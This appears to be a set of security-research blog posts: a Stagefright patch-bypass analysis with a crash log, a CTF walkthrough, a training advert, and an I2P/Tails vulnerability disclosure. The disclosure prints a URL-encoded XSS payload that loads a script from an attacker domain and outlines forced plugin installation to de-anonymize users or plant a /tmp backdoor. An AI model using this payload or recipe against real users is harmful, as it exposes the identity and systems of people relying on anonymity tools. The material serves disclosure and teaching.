Build fingerprint: 'google/hammerhead/hammerhead:5.1.1/LMY48I/2074855:user/release-keys'
Revision: '11'
ABI: 'arm'
pid: 9614, tid: 9751, name: NuCachedSource2  >>> /system/bin/mediaserver <<<;
signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------
Abort message: 'frameworks/av/media/libstagefright/NuCachedSource2.cpp:580 CHECK_LE( size,(size_t)mHighwaterThresholdBytes) failed: 4294967292 vs. 20971520'

    #00 pc 00039f4c  /system/lib/libc.so (tgkill+12)
    #01 pc 000173c1  /system/lib/libc.so (pthread_kill+52)
    #02 pc 00017fd3  /system/lib/libc.so (raise+10)
    #03 pc 00014795  /system/lib/libc.so (__libc_android_abort+36)
    #04 pc 00012f44  /system/lib/libc.so (abort+4)
    #05 pc 00007b51  /system/lib/libcutils.so (__android_log_assert+88)
    #06 pc 0008ac89  /system/lib/libstagefright.so (android::NuCachedSource2::readInternal(long long, void*, unsigned int)+80)
    #07 pc 0008ade3  /system/lib/libstagefright.so (android::NuCachedSource2::onRead(android::sp const&)+122)



Deadline exceeded – automatically derestricting


We notified Google of the issue on August 7th but have not had a reply to our query regarding their release of an updated fix. Due to this, as well as the following facts, we have decided to notify the public of our findings here on the Exodus Intelligence blog. 


  • The flaw was initially reported over 120 days ago to Google, which exceeds even their own 90-day disclosure deadline.
  • The patch is 4 lines of code and was (presumably) reviewed by Google engineers prior to shipping. The public at large believes the current patch protects them when it in fact does not.
  • The flaw affects an estimated 950 million Google customers.
  • Despite our notification (and their confirmation), Google is still currently distributing the faulty patch to Android devices via OTA updates.
  • There has been an inordinate amount of attention drawn to the bug–we believe we are likely not the only ones to have noticed it is flawed. Others may have malicious intentions.
  • Google has not given us any indication of a timeline for correcting the faulty patch, despite our queries.
  • The Stagefright Detector application released by Zimperium (the company behind the initial discovery) reports “Congratulations! Your device is not affected by vulnerabilities in Stagefright!” when in fact it is, leading to a false sense of security among users.

Without further preamble, the technical details follow:

As stated above, the fix is as follows:

index 8e47fda..ab1dade 100644
--- a/media/libstagefright/MPEG4Extractor.cpp
+++ b/media/libstagefright/MPEG4Extractor.cpp
@@ -1897,6 +1897,10 @@
                size = 0;
+        	if (SIZE_MAX - chunk_size <= size) {
+            	return ERROR_MALFORMED;
+        	}
         	uint8_t *buffer = new (std::nothrow) uint8_t[size + chunk_size];
         	if (buffer == NULL) {
             	return ERROR_MALFORMED;


The patch prevents the undersized allocation of the buffer variable due to the size + chunk_size integer overflow. Thus chunk_size is enforced against SIZE_MAX (0xFFFFFFFF) in order to prevent this behavior.

Even if everything seems right, the elegance of this bug is that it is hiding in plain sight. The one important aspect that is overlooked is the data types of chunk_size and size. Looking at the variable definitions, size is of size_t type which is an unsigned int. However, the flaw manifests due to the type of chunk_size, which is uint64_t.
As chunk_size is a 64 bit variable it may hold values > SIZE_MAX, which can be accomplished thanks to the following code:

status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) {
    ALOGV("entering parseChunk %lld/%d", *offset, depth);
    uint32_t hdr[2];
    if (mDataSource->readAt(*offset, hdr, 8) < 8) { 
        return ERROR_IO; 
    uint64_t chunk_size = ntohl(hdr[0]); 
    int32_t chunk_type = ntohl(hdr[1]); 
    off64_t data_offset = *offset + 8; 
    if (chunk_size == 1) { 
        if (mDataSource->readAt(*offset + 8, &chunk_size, 8) < 8) {
            return ERROR_IO;
        chunk_size = ntoh64(chunk_size);

In the above, chunk_size is set to a 32-bit value by the ntohl() function, which is sourcing the input from the MP4 metadata. However, if chunk_size is set to 0x01, the if condition (on line 771 above) evaluates as true. Then, a 64-bit value is read from the input MP4 and stored as the chunk_size instead.

For example, if a malicious MP4 is crafted with a chunk_size of 0x1ffffffff (notice this is larger than a 32-bit value) the faulty overflow check will be bypassed because chunk_sizeSIZE_MAX. Next, chunk_size is added to size. If size is any value greater than 0, an integer overflow will occur. If, for instance, size is 1, the addition will result in a value of 0x200000000, which is larger than a 32-bit value. The following call to the new operator will truncate that value down to fit into a 32-bit integer, thus allocating an undersized buffer.

 uint8_t *buffer = new (std::nothrow) uint8_t[size + chunk_size]; 

Subsequently, chunk_size worth of data is read into this undersized buffer. Even if the value is truncated to 32-bits, the function will still read 0xFFFFFFFF bytes into the buffer, leading to a heap overflow:

 if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))

As shown above, the issue is still exploitable, despite the patches currently being shipped to Android devices. As of this morning, Google has notified us they have allocated the CVE identifier CVE-2015-3864 to our report.

In summary, the Stagefright disclosure process was an interesting one to observe. The (un)surprising outcome being that given all the exposure this vulnerability received combined with essentially infinite resources on the vendor side, effective security mitigations were still not deployed. Google employs a tremendously large security staff, so much so that many members dedicate time to audit other vendor’s software and hold them accountable to provide a code fix within a deadline period. If Google cannot demonstrate the ability to successfully remedy a disclosed vulnerability affecting their own customers then what hope do the rest of us have?


Mission Accomplished

Technical details: Jordan Gruskovnjak / @jgrusko
Commentary: Aaron Portnoy / @aaronportnoy

Follow us on Twitter: @ExodusIntel

Exodus Adventure CTF 2015

This is a walkthrough of the 2015 Exodus Adventure CTF.
The CTF takes the form of a text adventure game. Players are provided with an x86 Linux ELF binary of the game and a web page that runs the same binary inside a javascript x86 emulator called JS Linux.
Let’s get started.

,.        ___________                .___
\%`.      \_   _____/__  _______   __| _/_ __  ______
 `.%`.     |    __)_\  \/  /  _ \ / __ |  |  \/  ___/
   `.%`.   |        \>    <  <_> ) /_/ |  |  /\___ \
     `.%`./_______  /__/\_ \____/\____ |____//____  >
       `.%`.    __\/      \/          \/          \/
         `.%`.  \ \__       .___                    __                     ._.
           `.%`./ /_ \    __| _/__  __ ____   _____/  |_ __ _________  ____| |
             `./ //_\ \  / __ |\  \/ // __ \ /    \   __\  |  \_  __ \/ __ \ |
            __/ /:/;.  \/ /_/ | \   /\  ___/|   |  \  | |  |  /|  | \|  ___/\|
            \__/  `:/;./\____ |  \_/  \___  >___|  /__| |____/ |__|   \___  >_
                    `:/;.    \/           \/     \/                       \/\/
                        `:/ ;

You are in a dark cave. It smells like something hairy lives here.
You can see light to the north.

Exit is north.
> n
You can see shadows on the cave walls.

There is a bear here.
Exits are north and south.
> look bear
You see a cave bear, probably the last one alive.
> kill bear
With what? Your bare hands?
y/n? y
Congratulations! You killed the bear with your bare hands.
You find a flag on the corpse.
> inventory
You are carrying:
a flag
> look flag
You see a white silk flag with screen-printed lettering which reads:

This is the easy flag worth only 12 points. The description of the flag is stored in the adventure binary XORed with “xyzzy” (repeating) so that it doesn’t show up in plain text.
We continue north.

> n
You find yourself under a huge dome of rock with light coming in through an
opening too high up to reach.

There is a sign here.
Exits are north, south, east and west.
> look sign
To the east you see a sign which reads:
Klein's Maze
The only exit is the only entrance, but beware the path you take.
> e
You are in a little maze of twisting passages, all different.

Exits are north, south, east and west.

This flag is worth 150 points. You must carry the flag you got from the bear through the maze taking the path e-n-e-w-s-n-e-w-s-n-e-w-s-n-e-w-s-n-e-w-s-n-e-w-s-n-e-w-s-n-e-w-s. There are no walls in the maze; from each room you can go any direction. There are 5 rooms that form various loops inspired by the shape of a Klein bottle.

Each move after entering the maze is fed into a CRC32 checksum. Once the checksum is equal to 0xDBC67E22, this happens:

A wild Amatus appears!
Amatus looks pleased and you become aware of a tingling in your pocket.
Before you can react he vanishes in a puff of entropy.
> look flag
You see an orange flannel flag with machine-embroidered lettering which reads:

If you do not have the flag from the bear:

He looks at you circumspectly, shakes his head, and turns to dust.

The value of the flag is generated from the checksum. Since this value is known to be 0xDBC67E22 at this point, it’s easy to work out the value of the flag without “solving” the maze. Or, using a debugger, you could just break right before the comparison and set the value of the checksum to the expected value and continue execution to generate the flag.
Going west a few times exits the maze and we continue our adventure.

You find yourself under a huge dome of rock with light coming in through an
opening too high up to reach.

There is a sign here.
Exits are north, south, east and west.

> n
You are in a server room. There are four rows of cages packed with Dell, HP,
and Sun hardware.

There is a PE2650 here.
There is a VP here.
Exits are north and south.
> look PE2650
You notice a PowerEdge 2650 with a message scrolling on its LCD:
All Hail Eris.
> hack PE2650
You pull out your evil-maid USB stick but notice all the USB ports are covered
with epoxy.

This flag is worth 150 points. The “hack” function calculates the Collatz chain length for 42, verifies that it is indeed 8, then denies you access. The solution is to bypass this check and execute the “dead” code which generates the flag.
Next we continue deeper into the server room.

> n
At the back of the server room you see a cat-5 cable running down through the
opening of a displaced floor tile.

Exits are south and down.
> d
A staircase spirals down under the server room. You smell something sweet and
suspect it's a halon leak, perhaps you shouldn't spend a lot of time down here.

Exits are up and down.
> d
In the basement is a row of car batteries connected to what you can only assume
is a UPS. Next to the UPS is a rack with an Oracle server.

There is a terminal here.
Exit is up.
> look terminal
You see a rackmount terminal with a blinking cursor.
> type terminal
SQL> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
MySQL Error 1064: You have an error in your SQL syntax near 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa080581f00804b38a08053f2208052f8f'
SQL> select * from memory where address = 0x080581f0;
SQL> select * from memory where address = 0x0804b38a;
SQL> select * from memory where address = 0x08053f22;
SQL> select * from memory where address = 0x08052f8f;

The flag is the concatenation of these 4 DWORDS from memory, and is worth 150 points. The mock SQL REPL is vulnerable to a missing null termination if you completely fill up the 80-byte buffer with input. The function which prints the error message echoes your input and reads past the end of the buffer where you see something that looks like four memory addresses. The values at these addresses are static except for the first one which is used in the maze code for storing the checksum. It is 0 when the program starts and is 0xFFFFFFF after leaving the maze. At the beginning of the SQL function however it is XORed with 0x650a7354 to give you 0x9af58cab. This is quite easy to solve with just a disassembler as the function directly references all these memory locations to print them into the space on the stack after the input buffer. To befuddle those using a disassembler, the last DWORD is in the middle of the string “You’re doing it wrong.”
Next we run back up the staircase and out of the cave to get some fresh air.

> u
A staircase spirals down under the server room. You smell something sweet and
suspect it's a halon leak, perhaps you shouldn't spend a lot of time down here.

Exits are up and down.
> u
At the back of the server room you see a cat-5 cable running down through the
opening of a displaced floor tile.

Exits are south and down.
> s
You are in a server room. There are four rows of cages packed with Dell, HP,
and Sun hardware.

There is a PE2650 here.
There is a VP here.
Exits are north and south.
> s
You find yourself under a huge dome of rock with light coming in through an
opening too high up to reach.

There is a sign here.
Exits are north, south, east and west.
> w
You are in a long narrow passageway, there is a strong breeze from the west.

Exits are east and west.
> w
You are standing outside. There is a cave to the east.

Exits are north, south and east.
> s
You are on a long twisting mountain path.

Exits are north and south.
> s
You are standing outside a yurt near the top of a mountain.
There is a path leading down to the north and up to the south.

Exits are north, south and east.
> e
You are inside a large yurt. You see filing cabinets, stacks of fan-fold
tractor-feed printouts piled on pizza boxes, a bug collection, and a jar
labeled "developer tears."

There is a wizard here.
Exit is west.
> look wizard
You see a gray old wizard, he doesn't have a long beard or a pointy hat,
but you can see the wisdom and authority in his eyes.
> talk wizard
The wizard looks deep into /dev/urandom and says: antilacrijudiintrazakordo.
> talk wizard dudatacodudanosemosaqueso
The wizard scratches many letters and numbers onto a piece of paper and hands
it to you. As soon as you read "5085d650d97d48bfc91c4fc93793a651" the paper
slips out of your hands as if it had passed right through them and dissolves
before reaching the floor.

This flag is worth 150 points but turned out to be the most difficult. The wizard gives you a random 30-bit number, n, encoded as 6 “magic words.” The wizard then expects a 30-bit number back from you, x, and computes (x - n) % 65413 and checks that this value is equal to 26347. He then generates the flag from (x - n). Since there are 16,415 30-bit numbers which satisfy the modulo check, you need to figure out which one is actually a valid flag. Brute-forcing the scoreboard would be difficult because of the CAPTCHA. The value the wizard is looking for is the last 30 bits of the maze flag. Due to a typo when modifying the maze level to use the memory address from the oracle level, this value comes directly from the pre-computed table in the CRC32 algorithm. This made it possible to solve this level with another kind of brute force: simply checking every DWORD in the adventure binary, only one of which passes the modulo check.
Next we continue up the mountain.

> w
You are standing outside a yurt near the top of a mountain.
There is a path leading down to the north and up to the south.

Exits are north, south and east.
> s
At the top of the mountain you stand before a grand stone altar.

There is a necronomicon here.
Exit is north.
> look necronomicon
You see the book of the dead, bound in human flesh and inked in blood; this
ancient Sumerian text contains bizarre burial rights, funeral incantations,
and 128-bit hex numbers; it was never meant for the world of the living.
> talk necronomicon
Do you remember the words?
> talk necronomicon klaatu barada nikto
Segmentation fault (core dumped)

What happened here? Examining this function you’ll find that it executes “int 42h” which will cause it to crash on a normal Linux system. Here we need a hint from Aaron:

Trying this again in the JS Linux emulator:

> talk necronomicon klaatu barada nikto
Your vision blurs, stumbling to the ground you try to hold on. You fall
through the earth...

You find yourself under a huge dome of rock with light coming in through an
opening too high up to reach.

This flag is worth 300 points. Looking at the function in a disassembler shows that the input is compared against “klaatu barada nikto” but just before the strcmp call the code executes the “int 42h” instruction. To figure this out you had to examine JS Linux to find the code that we added:

if (0x42 == ga) {
    fa = xa[0] + 7;
    fa += 1;
    fa += 3;
    fa += 4;
    fa += 1;
    fa += 1;
    fa += 1;
    fa += 1;
    fa += 1;
    fa += 1;

This code transforms the string pointed to by eax from “klaatu barada nikto” to “klaatu verata necktie.” After the strcmp the string is then zeroed out so that it can’t be found in memory afterwards. This also means you only have one shot at speaking the right words.

> talk necronomicon klaatu verata necktie
The wind picks up and builds into a high-pitched scream. The book slams open,
pages flying, suddenly stopping on a blank page. Blood-red spots appear,
growing larger and joining until the entire page is covered, then fade away
leaving only: 23eb43f3071731e5c1a189aa8cdbfbc4.

Let’s see what we can find to the north.

> n
You are standing outside a yurt near the top of a mountain.
There is a path leading down to the north and up to the south.

Exits are north, south and east.
> n
You are on a long twisting mountain path.

Exits are north and south.
> n
You are standing outside. There is a cave to the east.

Exits are north, south and east.
> n
You stand in front of a tavern, the lights are on but it's eerily quiet.

Exits are south and west.
> w
In the center of the tavern are shelves of colorful bottles reaching to the
ceiling and an oval-shaped bar surrounding them. On the bar are 1024 shots of
some sort of moonshine forming a line completely encircling it.

There is a bartender here.
Exit is east.
> look bartender
You see a bartender named Josephus, but you can call him Joe.
> talk bartender
Would you like to play a little drinking game?
y/n? y
Josephus takes out a tiny flag on a tiny stick and places it in the glass in
front of you and says:
Let's call this shot number 7, you must start at shot number 1. You pick a
number between 0 and 1024 and that is how many glasses you skip before taking
the next shot. Once you take a shot that glass is removed from the bar. You
continue around the bar skipping and drinking, over and over, until you have
consumed all the drinks except for number 7, then you can take the flag.
What number do you choose? 0
You drink shot number 1.
You drink shot number 2.
You drink shot number 3.
You drink shot number 4.
You drink shot number 5.
You drink shot number 6.
Josephus snatches the flag from the shot in front of you and says:
You lose! There are 1018 shots left on the table. C'mon, Euler got this on his
first try.
Josephus sets up the game for the next player.
> talk bartender
Would you like to play a little drinking game?
y/n? y
Josephus takes out a tiny flag on a tiny stick and places it in the glass in
front of you and says:
Let's call this shot number 7, you must start at shot number 1. You pick a
number between 0 and 1024 and that is how many glasses you skip before taking
the next shot. Once you take a shot that glass is removed from the bar. You
continue around the bar skipping and drinking, over and over, until you have
consumed all the drinks except for number 7, then you can take the flag.
What number do you choose? -73
You drink shot number 952.
You drink shot number 883.
You drink shot number 842.
You drink shot number 604.
You drink shot number 717.
You drink shot number 393.
Victorious, you snatch the flag from the last glass. The flag reads:
Your head is spinning; you black out and hit the floor. Josephus loots your
corpse and sets up the game for the next player. You come to the next morning,
wondering where your pants are.

This flag is worth 250 points. This drinking game is better known as the Josephus problem. The strait-forward approach is to write a program to simulate the game and try every possible input. This will show that there is no solution in the range 0 to 1,024. However the bartender is vulnerable to a signedness bug. The input is compared against 1,024 as a signed integer and if it is less than or equal to 1,024 it is accepted. When it is used as a count for how many glasses to skip it is used as an unsigned integer, so an input of -73 is interpreted as 4,294,967,223. There are multiple negative solutions so to restrict it to a single solution, from which a unique flag is generated, the input is taken modulo 1,024. The bartender code is very inefficient so it cannot be used to find the negative solution directly by trying all possibilities.

The Map

The last two flags are hidden in the map.
One flag is simply 16 hex ascii digits appended to the end of the JPEG file worth 75 points. The other flag is a QR code worth 100 points.
The hint on the map, bHFoczovL2Nlb2hrLmd6eC9LM2g1N1VhDQo=, is base64-decoded to: lqhs://ceohk.gzx/K3h57Ua
This is Vigenère-decoded with the key “ExodusIntelligence” to: http://imgur.com/C3b57Qn

Which is folding instructions for the map. The fold lines are faintly visible in the map. Once folded the QR code containing the flag appears. Some trimming of edges and color-enhancing with a sharpie, or GIMP, might be necessary.



Congratulations to our winners!
Team DatNoobs took first place for $3,000 by completing all of the challenges first. Team StratumAuhuur took second place for $1,500 by being the second team to finish. No team took the third place prize of $750 before the competition ended.

We had a ton of fun organizing this competition for all of you adventurers. Thanks for playing and see you again next time!

Exodus Intelligence 2015 Training Courses


Since our inception we have prided ourselves on providing training courses on a variety of advanced subjects which have consistently been filled with students from around the world. Last year, we hosted the class in the USA, Asia, and Europe, both publicly and also privately by request.

Once again, our flagship course, the Vulnerability Development Master Class, returns for 2015 and will be taught by some of Exodus’ top experts. As the class is given over 5 consecutive days, it is not for the faint of heart. Don’t let that intimidate you, though, as we have done our best to structure the course to elevate students from a basic knowledge of assembly language to learning and practicing the skills necessary to find and exploit the zero-day vulnerabilities they discover during the class. None of the software audited during the course is contrived–every target is a real application with wide market penetration in the enterprise. We believe adhering to real-world examples helps students understand, in context, the severity of the flaws they unearth.


“The Exodus Intel VulnDev Master Class was an exceptional, cutting-edge course for skilled VR specialists to push their skills further. It was a wonderful example of practical techniques and creativity applied to modern targets. The Exodus team focused on passing on their approach and mentality to the student, giving the student the ability to take the “Exodus approach” for their own VR work.”

“I had an amazing time during the vuln-dev course in Amsterdam. And was really disappointed when I had to go to work again the next Monday. Loved the entire course learned a lot, even popped a 0day after the course!”

“Vuln Dev Master Class delivered a shower of knowledge on finding and exploiting vulnerabilities in complex, relevant applications. It was one of the most wow-factor courses I have attended.”

“The course was excellent and the Exodus team show why they’re among the best at what they do.”

“The Vulnerability Development Master class was excellent; packed with good information, examples, and actual real world attacks and scenarios and taught by people who clearly know what they are doing.”

Dates & Locations

The dates and locations are as follows (venue information will be distributed to registered attendees):

  • April 13th-17th: Austin, TX, USA
  • July 6th-10th: Amsterdam, Netherlands
  • September 7th-11th: Frankfurt, Germany

If we receive sufficient interest in hosting additional events the above list may expand. Reach out to us via training@exodusintel.com or on twitter via @ExodusIntel for any inquiries.



We have compiled a summary of prerequisites, the abstract, dates and locations into a single PDF for reference: Exodus Intelligence Vulnerability Development Master Class.


This 5 day course is designed to provide students with a comprehensive and progressive approach to understanding advanced vulnerability and exploitation topics. Attendees will be immersed in hands-on exercises that impart valuable skills including static and dynamic reverse engineering, zero-day vulnerability discovery, and advanced exploitation of widely deployed server and client-side applications.

Taught by some Exodus Intelligence’s leading experts, this course provides students with direct access to our renowned professionals in a setting conducive to individual interactions.


  • Reverse Engineering
    • Static Reverse Engineering
      • Code Representation and Graph Theory
      • Recognizing Non-Determinism
      • Recognizing Data Structures
      • Symbol Mining
      • Harvesting Useful Code
      • C++ Type Recovery
      • Scripting Disassemblers
    • Dynamic Reverse Engineering & Automation
      • Non-Intrusive Target Monitoring
      • Recovering Type Information
      • Code Flow Analysis
      • Symbol Recovery
      • Isolating Interesting Code & Data
  • Debugging
    • Core Windows Userspace Concepts
      • Memory Management
      • Process Lineage
      • Integrity Levels
      • Windows Services
      • Inter-Process Communication
      • Local Inter-Process Communication
      • Remote Process Communication
      • The Windows Linker & Loader
      • Exception Handling
    • Core Debugger Concepts
      • Attaching (Intrusive vs Non-Intrusive)
      • Breakpoints
      • Global Flags
      • Image File Execution Options
      • Scripting with PyKD
      • Annoyances & Solutions
  • Vulnerabilities Overview & Recognition
    • Recognizing Vulnerability Patterns
    • Automated Discovery
    • Memory Corruption
      • Type Confusion
      • Improper Allocations
      • Arithmetic Issues
      • Format Strings
      • Use-After-Free
      • Buffer Overflows
    • Design Flaws
  • Vulnerability Discovery
    • Manual Auditing Processes
    • Dumb Fuzzing
    • “Intelligent” Fuzzing
    • Ambulance Chasing
    • Binary Diffing
    • Client-Side Discovery Techniques
    • Server-Side Discovery Techniques
  • Exploitation
    • Memory Manipulation & Scope
    • Windows Mitigations & Bypasses
    • Enhanced Mitigation Experience Toolkit (EMET)
      • Bypassing EMET
    • Achieving Reliability
    • Post Exploitation
      • Sandboxes
      • Process Continuation

Pricing and Registration

The cost for the 5-day course is $6500 USD per student. You may e-mail training@exodusintel.com to register and we will supply an invoice. We have also made available this template request form for individuals to help justify attendance to management.

Tails from the Cri2p

In continuation of the previous blog Fairy Tails and Silver Bullets we present the technical details of the flaws found in I2P (Invisible Internet Project) that also affects the Tails operating system.

There has been previous work in constructing the usage statistics for I2P users, mainly intended to try to determine the origin country of users and services used. Other means have strayed from passive to more active means in order to determine metric information on I2P users.

I2P new router stats

stats.i2p – Population of I2P Routers as of July 2014

The flaws that lead to the de-anonymization/remote code execution flaws discussed herein is a three stage process we will outline below. The first point is not a new technique and has been outlined in a 2006 BlackHat presentation: Hacking Intranet Websites from the Outside. The approach utilizes cross-site scripting vulnerabilities along with Javascript to reach into the internal I2P router configuration intranet. The ultimate goal for attacker abusing these flaws would be to reach the configclients.jsp page of I2P and invoke a plugin installation on behalf of the target.

<img style=”display: none;” src=”{i2p_domain}/summaryframe.jsp?refresh=10000000)%3B%20function%20addAjax(a%2Cb)%7B%20var%20__d%3Ddocument%3B%20var%20__h%20%3D%20__d.getElementsByTagName(%22head%22).item(0)%3B%20var%20s%20%3D%20__d.createElement(%22script%22)%3B%20s.setAttribute(%22src%22%2C%20a)%3B%20s.id%20%3D%20b%3B%20__h.appendChild(s)%3B%20%7D%20if(!document.getElementById(%22autoupdate%22))%7BaddAjax(%22{xss_domain}%2F{xss_location}%22%2C%22autoupdate%22)%3B%7D%20%7D%20function%20update()%7B%20”/>

This crafted webpage is passed to the user and a parameter within summaryframe.jsp of the I2P router configuration is able to be controlled. In this context, the user will execute the Javascript passed along with the input. The first condition in executing the XSS is assuring that the input parameter is valid.

String d = request.getParameter("refresh");
    // Normal browsers send value, IE sends button label
    boolean allowIFrame = intl.allowIFrame(request.getHeader("User-Agent"));
    boolean shutdownSoon = (!allowIFrame) ||
                           "shutdownImmediate".equals(action) || "restartImmediate".equals(action) ||
                           "Shutdown immediately".equals(action) || "Restart immediately".equals(action);
    if (!shutdownSoon) {
        if (d == null || "".equals(d)) {
            d = intl.getRefresh();
        } else {
            d = net.i2p.data.DataHelper.stripHTML(d); // XSS
        // we probably don't get here if d == "0" since caught in summary.jsi, but just
        // to be sure...
        if (!intl.getDisableRefresh()) {
            // doesn't work for restart or shutdown with no expl. tunnels,
            // since the call to ConfigRestartBean.renderStatus() hasn't happened yet...
            // So we delay slightly
            if (action != null &&
                ("restart".equals(action.toLowerCase(java.util.Locale.US)) || "shutdown".equals(action.toLowerCase(java.util.Locale.US)))) {
                synchronized(this) {
                    try {
                    } catch(InterruptedException ie) {}
            long timeleft = net.i2p.router.web.ConfigRestartBean.getRestartTimeRemaining();
            long delay = 60;
            try { delay = Long.parseLong(d); } catch (NumberFormatException nfe) {}
            if (delay*1000 < timeleft + 5000)
                out.print("<meta http-equiv="refresh" content="" + d + ";url=/summaryframe.jsp" >n");
                shutdownSoon = true;

We find that the Refresh parameter passed in by the target is readily accepted. There is an attempt to sanitize the input as seen in net.i2p.data.DataHelper.stripHTML():

    public static String stripHTML(String orig) {
        if (orig == null) return "";
        String t1 = orig.replace('<', ' ');
        String rv = t1.replace('>', ' ');
        return rv;

However, the sanitization of the Refresh parameter is not comprehensive and allows one to be craft input that is functional, despite the characters that are filtered out. The other contingent points that may have sanitized the data are calls to Java’s internal Integer and Long parsers but the exceptions are caught for invalid data. The baseline assumption for the input is then to utilize a predefined value if the input is incorrectly parsed. Afterwards, the input is interpolated into a HTML meta var object where the refresh call can be tagged to call out to a provided javascript payload.

I2P had many cross-site scripting vulnerabilities, one of which was used in our several stage de-anonymization attack. The component that we used was in the configclients.jsp file which is necessary in establishing numerous scripts tasked with reaching the plugin installation form.

The next step is to abuse the I2P plugin framework. I2P uses plugins similar to Firefox’s .xpi files. Plugins are used to include new console applications, themes, program functionality, or shell/binary execution. The plugin system allows full access to the file system and run as the same privileges as the I2P user. Once a plugin is installed it is automatically executed without the user’s interaction.

Plugins are signed during compilation using an author’s public public key. During the plugin generation process, if an author key is not found then one is automatically generated and used to sign the plugin package. I2P does not come with initial plugin keys–when the target encounters a new key for a plugin signer, the key is automatically imported as there currently does not exist an authority for signing keys.

An initial GET call to configclients.jsp is necessary in order to retrieve the unique nonce value generated per page request. Previous to doing so, an attacker would not have been able to otherwise submit to the plugin form. The nonce value acts as a challenge that normally is generated when a user interacts with the router console.

var nonce_val = data.substring(data.indexOf(‘name=”plugin”’)).match(‘name’=”nonce” value=”(.*)”’);

After submitting the HTTP POST request we are able to bypass the challenge response and masquerade the request to appear to originate from a valid plugin installation.

<h3><a name="plugin"></a><%=intl._("Plugin Installation")%></h3><p>
 <%=intl._("Look for available plugins on {0}.", "<a href="http://plugins.i2p">plugins.i2p</a>")%>
 <%=intl._("To install a plugin, enter the download URL:")%>
 </p><div class="wideload">
<form action="configclients" method="POST">
<input type="hidden" name="nonce" value="<%=pageNonce%>" >
 <input type="text" size="60" name="pluginURL" >
 </p><hr><div class="formaction">
 <input type="submit" name="action" class="default" value="<%=intl._("Install Plugin")%>" />
 <input type="submit" class="cancel" name="foo" value="<%=intl._("Cancel")%>" />
 <input type="submit" name="action" class="download" value="<%=intl._("Install Plugin")%>" />
</div><hr><div class="formaction">
 <input type="submit" name="action" class="reload" value="<%=intl._("Update All Installed Plugins")%>" />

After submitting the malicious plugin installation we are able to masquerade a request as the target.

Tails has a separate user for the I2P service, the i2psvc user. This user is white-listed and is specifically allowed access to any Internet facing site.

    # i2p is allowed to do anything it wants to.
    mod owner uid-owner i2psvc ACCEPT;


This permissions configuration allows us to craft a payload, execute it under the i2psvc user, and phone back to a server of our choosing. Once the plugin is loaded the code will execute in the background with no further user interaction required. The user will only see that they were redirected back to their I2P console. Once the i2psvc user executes our payload it will display the IP address in which the user is connecting to the I2P network.

As previously stated the I2P plugins are similar to Firefox plugins and are written in Java. For our demo we had the I2P user phone back to our server. We have many other options for crafting our payload. For example, the i2psvc user is allowed R/W/X access to the /tmp directory. Knowing this we could write a backdoor to the /tmp directory and execute it under the i2psvc user. Other options would be further data exfiltration allowing us to grab the users MAC address, files on the system, or routing tables. The diagram below visualizes our three stage attack described in this post.

Vuln Diagram

Diagram depicting the the steps in achieving remote code execution

This vulnerability does not fit the mold of what we at Exodus deal with on a daily basis. Nonetheless, it was an fun bug to play with. We want to thank all developers on the I2P, TOR, and Tails projects. The I2P developers had fixes for all the vulnerabilities we disclosed to the project within 48 hours.

Silver Bullets and Fairy Tails


This week we made mention on Twitter of a zero-day vulnerability we’ve unearthed that affects the popular Tails operating system. As the Tails website states:

Tails is a live operating system, that you can start on almost any computer from a DVD, USB stick, or SD card. It aims at preserving your privacy and anonymity, and helps you to:
use the Internet anonymously and circumvent censorship;
all connections to the Internet are forced to go through the Tor network;
leave no trace on the computer you are using unless you ask it explicitly;
use state-of-the-art cryptographic tools to encrypt your files, emails and instant messaging.”

This software was largely popularized due to the fact that it was used by whistleblower Edward Snowden. Since then, the OS has garnered much attention and use by a wide range of those seeking anonymity on the Internet.

We publicized the fact that we’ve discovered these issues for a very simple reason: no user should put full trust into any particular security solution. By bringing to light the fact that we have found verifiable flaws in such a widely trusted piece of code, we hope to remind the Tails userbase that no software is infallible. Even when the issues we’ve found are fixed by the Tails team, the community should keep in mind that there are most certainly other flaws still present and likely known to others.

Our customers use our information for both offensive and defensive purposes to better protect themselves and others. Providing a wide variety of exploit software we help penetration testers effectively test network security and incident response teams. One high profile example occurred last year when Facebook used a zero-day vulnerability to test their teams response to a zero-day attack. The information we provide is also leveraged in defensive purposes providing companies with well documented research for use in IDS and AV signatures for previously unknown threats. We at Exodus are able to do what many software projects cannot, perform security code audits and find exploitable vulnerabilities releasing them to the public.

The Vulnerable Component

The vulnerability we will be disclosing is specific to I2P. I2P currently boasts about 30,000 active peers. Since I2P has been bundled with Tails since version 0.7, Tails is by far the most widely adopted I2P usage. The I2P vulnerability works on default, fully patched installation of Tails. No settings or configurations need to be changed for the exploit to work. I2P is preconfigured so that all .i2p TLD sites are routed through the I2P network. At a high level I2P traffic is message based similar to IP packets. All communication is encrypted end to end with a total of four layers of encryption. I2P routers (end points) act as cryptographic identifiers, similar to a pair of public keys. I2P is a packet switched network, instead of circuit switched like Tor. This means transparent load balancing of packets across multiple peers. I2P is fully distributed with no centralized resources. There is no distinct separation of servers to nodes, this architecture helps eliminate single points of failure.


To lend credence to our claims we have created a video that demonstrates de-anonymizing a Tails user:
[wpvideo UqdAuv2S hd=true]


0:00:00,000 –> 0:00:10,400: Demonstrating IP on listening server, Turning on listening server
0:00:19,000 –> 0:00:25,400: Tails user visiting website icanhazip.com which shows the anonymized IP address
0:00:36,000 –> 0:00:49,400: Showing that we’re indeed using the latest Tails build 1.1
0:00:50,000 –> 0:01:03,400: I2P address being resolved, proof of concept malicious payload being delivered
0:01:30,000 –> 0:01:40,400: Listening server retrieves the Tails user’s de-anonymized IP address (Austin RoadRunner ISP)

Note on Disclosure

